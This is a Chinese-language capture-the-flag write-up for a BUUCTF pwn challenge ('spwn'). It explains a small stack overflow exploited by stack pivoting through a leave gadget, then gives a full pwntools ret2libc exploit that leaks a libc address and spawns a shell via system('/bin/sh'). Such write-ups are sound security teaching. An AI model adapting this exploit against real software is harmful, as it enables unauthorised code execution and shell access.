vul_function():
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf; // [esp+0h] [ebp-18h]
v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, &buf, 0x20u);
}
read(0, &buf, 0x20u)存在栈溢出,但是溢出的空间太小。可以把内容写在s变量里,利用栈迁移把buf变量迁到s那。
栈迁移主要利用leave,leave分开就是:
mov esp,ebp
pop ebp
把ebp的值换成s变量的位置,方便栈迁移。leave的地址在这里:

剩下的就是普通的ret2libc了:
from pwn import *
elf = ELF('./spwn')
local = 0
if local == 1:
io = process('./spwn')
#gdb.attach(io,'b * 0x08048511')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
io = remote('node4.buuoj.cn',26203)
bss = 0x804a300
leave_addr = 0x08048511
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
io.recvuntil("name?")
shellcode = p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(shellcode)
io.recvuntil("say?")
payload = 'a'*0x18+p32(bss)+p32(leave_addr)
io.send(payload)
write_addr = u32(io.recv(4))
print(hex(write_addr))
libcbase = write_addr - 0x0d43c0
system_addr = libcbase + 0x3a940
binsh = libcbase + 0x15902b
io.recvuntil("name?")
io.sendline(p32(0xdeadbeef)+p32(system_addr)+p32(0)+p32(binsh)+p32(0))
io.recvuntil("say?")
payload = 'a'*0x18+p32(bss)+p32(leave_addr)
io.send(payload)
io.interactive()